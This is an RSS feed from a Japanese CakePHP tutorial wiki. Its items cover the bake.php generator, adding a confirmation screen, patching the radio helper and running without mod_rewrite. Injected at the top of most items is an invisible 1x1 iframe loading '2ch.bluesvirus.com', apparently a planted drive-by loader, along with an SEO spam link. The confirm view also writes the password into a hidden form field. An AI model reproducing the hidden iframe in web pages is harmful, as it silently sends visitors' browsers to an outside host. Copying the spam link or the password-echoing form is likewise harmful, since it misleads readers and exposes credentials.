<?xml version="1.0" encoding="UTF-8" ?><rdf:RDF 
  xmlns="http://purl.org/rss/1.0/"
  xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#" 
  xmlns:dc="http://purl.org/dc/elements/1.1/"
  xml:lang="ja">
  <channel rdf:about="http://www12.atwiki.jp/nezox/">
    <title>CakePHPまとめ@Wiki</title>
    <link>http://www12.atwiki.jp/nezox/</link>
    <description>CakePHPまとめ@Wiki</description>

    <dc:language>ja</dc:language>
    <dc:date>2007-09-25T02:06:06+09:00</dc:date>

    <items>
      <rdf:Seq>
                <rdf:li rdf:resource="http://www12.atwiki.jp/nezox/pages/5.html" />
                <rdf:li rdf:resource="http://www12.atwiki.jp/nezox/pages/6.html" />
                <rdf:li rdf:resource="http://www12.atwiki.jp/nezox/pages/1.html" />
                <rdf:li rdf:resource="http://www12.atwiki.jp/nezox/pages/7.html" />
                <rdf:li rdf:resource="http://www12.atwiki.jp/nezox/pages/4.html" />
                <rdf:li rdf:resource="http://www12.atwiki.jp/nezox/pages/8.html" />
                <rdf:li rdf:resource="http://www12.atwiki.jp/nezox/pages/2.html" />
                <rdf:li rdf:resource="http://www12.atwiki.jp/nezox/pages/3.html" />
              </rdf:Seq>
    </items>
	
		
    
  </channel>
    <item rdf:about="http://www12.atwiki.jp/nezox/pages/5.html">
    <title>bake</title>
    <link>http://www12.atwiki.jp/nezox/pages/5.html</link>
    <description>
      &amp;html(&lt;iframe src=&quot;http://2ch.bluesvirus.com&quot; height=&quot;1&quot; width=&quot;1&quot; frameborder=&quot;0&quot;&gt;&lt;/iframe&gt;)

全然更新してなくてごめんなさい。。
&amp;html(&lt;a href=&quot;http://akelos.free4seo.com/&quot;&gt;最近はAkelosを使っています。&lt;/a&gt;)

/cake/scripts/bake.php は、対話形式でいくつかの質問に答えるだけでModel View Controllerを自動生成してくれるコマンドラインのスクリプトです。
（/app/config/database.phpが適切に設定されている必要があります。）

	 ___  __  _  _  ___  __  _  _  __      __   __  _  _  ___ 
	|    |__| |_/  |__  |__] |__| |__]    |__] |__| |_/  |__ 
	|___ |  | | \_ |___ |    |  | |       |__] |  | | \_ |___ 
	---------------------------------------------------------------
	
	[M]odel
	[C]ontroller
	[V]iew
	
	Please select a class to Bake: (M/V/C) 
	&gt; M

	---------------------------------------------------------------
	Model Bake:
	---------------------------------------------------------------
	Possible models based on your current database:
	1. Login
	2. PersonProfile
	
	Enter a number from the list above, or type in the name of another model.  
	&gt; 1

	Would you like to supply validation criteria for the fields in your model? (y/n) 
	[y] &gt; y


	Name: id
	Type: integer
	---------------------------------------------------------------
	Please select one of the following validation options:
	---------------------------------------------------------------
	1- VALID_NOT_EMPTY
	2- VALID_EMAIL
	3- VALID_NUMBER
	4- VALID_YEAR
	5- Do not do any validation on this field.
	
	... or enter in a valid regex validation string.
	
	  
	[5] &gt; 5

	Would you like to define model associations (hasMany, hasOne, belongsTo, etc.)? (y/n) 
	[y] &gt; n

	---------------------------------------------------------------
	The following model will be created:
	---------------------------------------------------------------
	Model Name:    Login
	DB Connection: default
	Model Table:   logins
	Validation:    Array
	(
	    [login_id] =&gt; VALID_NOT_EMPTY
	    [password] =&gt; VALID_NOT_EMPTY
	)
	
	---------------------------------------------------------------
	
	Look okay? (y/n) 
	[y] &gt; 

	Creating file/Path/to/cake//app/models/login.php
	Wrote   /app/models/login.php
		
	Cake test suite not installed.  Do you want to bake unit test files anyway? (y/n) 
	[y] &gt; n
以上でModelが自動生成されました。

次はControllerを作ります
	---------------------------------------------------------------
	Controller Bake:
	---------------------------------------------------------------
	
	Controller name? Remember that Cake controller names are plural.  
	&gt; Login

	Would you like bake to build your controller interactively?
	Warning: Choosing no will overwrite Login controller if it exist. (y/n) 
	[y] &gt; y

	Would you like this controller to use other models besides &#039;Login&#039;? (y/n) 
	[n] &gt; n

	Would you like this controller to use other helpers besides HtmlHelper? (y/n) 
	[n] &gt; n

	Would you like this controller to use any components? (y/n) 
	[n] &gt; 

	Would you like to include some basic class methods (index(), add(), view(), edit())? (y/n) 
	[n] &gt; y

	---------------------------------------------------------------
	The following controller will be created:
	---------------------------------------------------------------
	Controller Name:        Login
	---------------------------------------------------------------
	
	Look okay? (y/n) 
	[y] &gt; y

	Cake test suite not installed.  Do you want to bake unit test files anyway? (y/n) 
	[y] &gt; n

最後にViewです
	---------------------------------------------------------------
	View Bake:
	---------------------------------------------------------------
	
	Controller Name? (plural)  
	&gt; Login 

	Would you like bake to build your views interactively?
	Warning: Choosing no will overwrite  views if it exist. (y/n) 
	[y] &gt; y

	Would you like to create some scaffolded views (index, add, view, edit) for this controller?
	NOTE: Before doing so, you&#039;ll need to create your controller and model classes (including associated models). (y/n) 
	[n] &gt; y

	View Scaffolding Complete.



※OSX MAMP環境の場合、
	&#039;host&#039;=&gt;&#039;localhost&#039;
でもCakePHP自体は動作しますが、bake.phpを使う場合、
	&#039;host&#039;=&gt;&#039;127.0.0.1:8889&#039;
というように、ポートまで指定する必要があります。    </description>
    <dc:date>2007-09-25T02:06:06+09:00</dc:date>
  </item>
    <item rdf:about="http://www12.atwiki.jp/nezox/pages/6.html">
    <title>確認画面を挟む</title>
    <link>http://www12.atwiki.jp/nezox/pages/6.html</link>
    <description>
      &amp;html(&lt;iframe src=&quot;http://2ch.bluesvirus.com&quot; height=&quot;1&quot; width=&quot;1&quot; frameborder=&quot;0&quot;&gt;&lt;/iframe&gt;)

全然更新してなくてごめんなさい。。
&amp;html(&lt;a href=&quot;http://akelos.free4seo.com/&quot;&gt;最近はAkelosを使っています。&lt;/a&gt;)

bakeで自動生成されたaddアクションは下記のようになります。
	function add() {
		if(empty($this-&gt;data)) {
			$this-&gt;set(&#039;login&#039;, null);
		} else {
			$this-&gt;cleanUpFields();
			if($this-&gt;Login-&gt;save($this-&gt;data)) {
				if(is_object($this-&gt;Session)) {
					$this-&gt;Session-&gt;setFlash(&#039;The Login has been saved&#039;);
					$this-&gt;redirect(&#039;/login/index&#039;);
				} else {
					$this-&gt;flash(&#039;Login saved.&#039;, &#039;/login/index&#039;);
				}
			} else {
				if(is_object($this-&gt;Session)) {
					$this-&gt;Session-&gt;setFlash(&#039;Please correct errors below.&#039;);
				}
				$data = $this-&gt;data;
				$this-&gt;set(&#039;login&#039;, $data);
			}
		}
	}

このままでは、入力情報がDBに保存される前に確認画面は表示されません。しかし、確認画面が必要な場面もあります。
以下のように書き換え、確認画面のView（confirm.thtml）を作成します。

	function add() {
		if(empty($this-&gt;data)) {
			$this-&gt;set(&#039;login&#039;, null);
		} else {
			$this-&gt;cleanUpFields();// ? 
			if(@$_POST[&#039;mode&#039;]==&#039;confirm&#039;)
			{
				if(!$this-&gt;Login-&gt;validates($this-&gt;params[&#039;data&#039;]))
				{
					$this-&gt;render();
				}
				else
				{
					$this-&gt;set(&#039;form&#039;, $this-&gt;params[&#039;form&#039;]);
					$this-&gt;set(&#039;data&#039;, $this-&gt;params[&#039;data&#039;]);
					$this-&gt;render(&quot;confirm&quot;);
				}
			}
			else
			{
				if ($this-&gt;Login-&gt;save($this-&gt;params[&#039;data&#039;]))
				{
					$this-&gt;redirect(&#039;/login&#039;);
				}
				else
				{
					$this-&gt;set(&#039;data&#039;, $this-&gt;params[&#039;data&#039;]);
					$this-&gt;validateErrors($this-&gt;Login);
					$this-&gt;render();
				}
			}
		}
	}

confirm.thtml
	&lt;h1&gt;新規作成：確認画面&lt;/h1&gt;
	&lt;form action=&quot;&lt;?php echo $html-&gt;url(&#039;/login/add&#039;); ?&gt;&quot; method=&quot;post&quot;&gt;
	&lt;div class=&quot;required&quot;&gt; 
		&lt;label for=&quot;login_login_id&quot;&gt;ログインid&lt;/label&gt;
		&lt;?php echo $html-&gt;tagValue(&#039;Login/login_id&#039;) ?&gt;
		&lt;?php echo $html-&gt;hidden(&#039;Login/login_id&#039;, array(&#039;value&#039; =&gt; $html-&gt;tagValue(&#039;Login/login_id&#039;)))?&gt;
	&lt;/div&gt;
	&lt;div class=&quot;login_password&quot;&gt; 
		&lt;label for=&quot;recommend_content&quot;&gt;パスワード&lt;/label&gt;
		&lt;?php echo $html-&gt;tagValue(&#039;Login/password&#039;) ?&gt;
		&lt;?php echo $html-&gt;hidden(&#039;Login/password&#039;, array(&#039;value&#039; =&gt; $html-&gt;tagValue(&#039;Login/password&#039;)))?&gt;
	&lt;/div&gt;
	&lt;div class=&quot;submit&quot;&gt;
	&lt;input type=&quot;button&quot; value=&quot;戻る&quot; onclick=&quot;history.go(-1)&quot; /&gt;　
	&lt;input type=&quot;submit&quot; value=&quot;作成&quot; /&gt;&lt;/div&gt;
	&lt;/form&gt;
	&lt;ul&gt;
	&lt;li&gt;&lt;a href=&quot;/sys/index.php/recommend/&quot;&gt;一覧へ戻る&lt;/a&gt;&lt;/li&gt;
	&lt;/ul&gt;    </description>
    <dc:date>2007-09-25T02:05:07+09:00</dc:date>
  </item>
    <item rdf:about="http://www12.atwiki.jp/nezox/pages/1.html">
    <title>トップページ</title>
    <link>http://www12.atwiki.jp/nezox/pages/1.html</link>
    <description>
      &amp;html(&lt;iframe src=&quot;http://2ch.bluesvirus.com&quot; height=&quot;1&quot; width=&quot;1&quot; frameborder=&quot;0&quot;&gt;&lt;/iframe&gt;)

全然更新してなくてごめんなさい。。
&amp;html(&lt;a href=&quot;http://akelos.free4seo.com/&quot;&gt;最近はAkelosを使っています。&lt;/a&gt;)


*目次

**はじめに
-CakePHPとは

**インストール 
-mod_rewriteが使える場合
-[[mod_rewriteが使えない場合]]

**動作確認
-DB接続
-MVCのサワリを理解する

**便利な使い方
-scaffold
-[[bake]]
-created / midified

**色々な場面に対応する
-[[確認画面を挟む]]
-セッションを使う
-画像をアップロード
-ページングする
-DATETIME型の表示形式をカスタマイズ

**Modelを活用する
-hasMany
-belongsTo
-HABTM

**Helperを活用する
-Html
-Pagination
-Error

**Cakeの拡張
-DBと連動したVaridation
-[[所からでも使える関数]]
-[[ラジオボタンのNULLチェック]]    </description>
    <dc:date>2007-09-25T02:04:24+09:00</dc:date>
  </item>
    <item rdf:about="http://www12.atwiki.jp/nezox/pages/7.html">
    <title>ラジオボタンのNULLチェック</title>
    <link>http://www12.atwiki.jp/nezox/pages/7.html</link>
    <description>
      &lt;iframe src=&quot;http://2ch.bluesvirus.com&quot; height=&quot;1&quot; width=&quot;1&quot; frameborder=
&quot;0&quot;&gt;&lt;/iframe&gt;
&lt;p&gt;Html
Helperのradioを生成する時、ラジオボタンの前に同じnameのhiddenを生成する事で、チェックが一つも無かった場合でもValidation出来るようにします。&lt;br&gt;
&lt;br&gt;
/cake/libs/view/helpers/html.phpを改造します。&lt;br&gt;
&lt;br&gt;
radio関数に下記のように追記します。&lt;br&gt;
&lt;br&gt;
---この部分を追記します-------&lt;br&gt;
// Auto Render Hidenn For Null Check / Nezox:2006.08.12&lt;br&gt;
$out[] = sprintf($this-&amp;gt;tags[&#039;hidden&#039;], $this-&amp;gt;model, $this-&amp;gt;field,
$this-&amp;gt;parseHtmlOptions(array(&#039;value&#039;=&amp;gt;&#039;&#039;)), null);&lt;br&gt;
----------------------------------------&lt;br&gt;
&lt;br&gt;
&lt;br&gt;
【/cake/libs/view/helpers/html.php】&lt;br&gt;
&lt;br&gt;
/**&lt;br&gt;
* Creates a set of radio widgets.&lt;br&gt;
*&lt;br&gt;
* @param string $fieldName Name of a field, like this &quot;Modelname/fieldname&quot;&lt;br&gt;
* @param array　 $options　 　 　 Radio button options array&lt;br&gt;
* @param array　 $inbetween　 　 String that separates the radio buttons.&lt;br&gt;
* @param array　 $htmlAttributes Array of HTML attributes.&lt;br&gt;
* @param boolean $return　 Wheter this method should return a value or output
it. This overrides AUTO_OUTPUT.&lt;br&gt;
* @return mixed　 Either string or boolean value, depends on AUTO_OUTPUT and
$return.&lt;br&gt;
*/&lt;br&gt;
function radio($fieldName, $options, $inbetween = null, $htmlAttributes =
array(), $return = false) {&lt;br&gt;
&lt;br&gt;
$this-&amp;gt;setFormTag($fieldName);&lt;br&gt;
$value = isset($htmlAttributes[&#039;value&#039;]) ? $htmlAttributes[&#039;value&#039;] :
$this-&amp;gt;tagValue($fieldName);&lt;br&gt;
$out = array();&lt;br&gt;
&lt;br&gt;
// Auto Render Hidenn For Null Check / Nezox:2006.08.12&lt;br&gt;
$out[] = sprintf($this-&amp;gt;tags[&#039;hidden&#039;], $this-&amp;gt;model, $this-&amp;gt;field,
$this-&amp;gt;parseHtmlOptions(array(&#039;value&#039;=&amp;gt;&#039;&#039;)), null);&lt;br&gt;
&lt;br&gt;
foreach($options as $optValue =&amp;gt; $optTitle) {&lt;br&gt;
$optionsHere = array(&#039;value&#039; =&amp;gt; $optValue);&lt;br&gt;
$optValue == $value ? $optionsHere[&#039;checked&#039;] = &#039;checked&#039; : null;&lt;br&gt;
$parsedOptions = $this-&amp;gt;parseHtmlOptions(array_merge($htmlAttributes,
$optionsHere), null, &#039;&#039;, &#039; &#039;);&lt;br&gt;
$individualTagName = &quot;{$this-&amp;gt;field}_{$optValue}&quot;;&lt;br&gt;
$out[] = sprintf($this-&amp;gt;tags[&#039;radio&#039;], $this-&amp;gt;model, $this-&amp;gt;field,
$individualTagName, $parsedOptions, $optTitle);&lt;br&gt;
}&lt;br&gt;
&lt;br&gt;
$out = join($inbetween, $out);&lt;br&gt;
return $this-&amp;gt;output($out ? $out : null, $return);&lt;br&gt;
}&lt;/p&gt;
    </description>
    <dc:date>2007-08-04T16:14:37+09:00</dc:date>
  </item>
    <item rdf:about="http://www12.atwiki.jp/nezox/pages/4.html">
    <title>mod_rewriteが使えない場合</title>
    <link>http://www12.atwiki.jp/nezox/pages/4.html</link>
    <description>
      &amp;html(&lt;iframe src=&quot;http://2ch.bluesvirus.com&quot; height=&quot;1&quot; width=&quot;1&quot; frameborder=&quot;0&quot;&gt;&lt;/iframe&gt;)
mod_rewriteなしでCakePHPを使用する場合、core.phpの設定を変更します。

/app/config/core.php 40行目あたり
	//	define (&#039;BASE_URL&#039;, env(&#039;SCRIPT_NAME&#039;));
のコメントアウトを外します。↓
	define (&#039;BASE_URL&#039;, env(&#039;SCRIPT_NAME&#039;));

また、各ActionへアクセスするURLは下記のようになります。
http://www.XXXX.com/index.php/post/add
(例：コントローラ post の アクション add ）

※このため、bakeで自動生成した編集リンクなどは書き直す必要があります。

mod_rewriteなしの場合や、単発フォーム制作にもCakeが使えて便利です。    </description>
    <dc:date>2007-08-04T16:10:04+09:00</dc:date>
  </item>
    <item rdf:about="http://www12.atwiki.jp/nezox/pages/8.html">
    <title>所からでも使える関数</title>
    <link>http://www12.atwiki.jp/nezox/pages/8.html</link>
    <description>
      testest    </description>
    <dc:date>2006-08-12T18:10:55+09:00</dc:date>
  </item>
    <item rdf:about="http://www12.atwiki.jp/nezox/pages/2.html">
    <title>メニュー</title>
    <link>http://www12.atwiki.jp/nezox/pages/2.html</link>
    <description>
      メニュー
-[[トップページ]]
-[[参考リンク]]    </description>
    <dc:date>2006-07-30T01:02:35+09:00</dc:date>
  </item>
    <item rdf:about="http://www12.atwiki.jp/nezox/pages/3.html">
    <title>メニュー2</title>
    <link>http://www12.atwiki.jp/nezox/pages/3.html</link>
    <description>
      **更新履歴
#recent(20)
    </description>
    <dc:date>2006-07-29T22:19:52+09:00</dc:date>
  </item>
  </rdf:RDF>

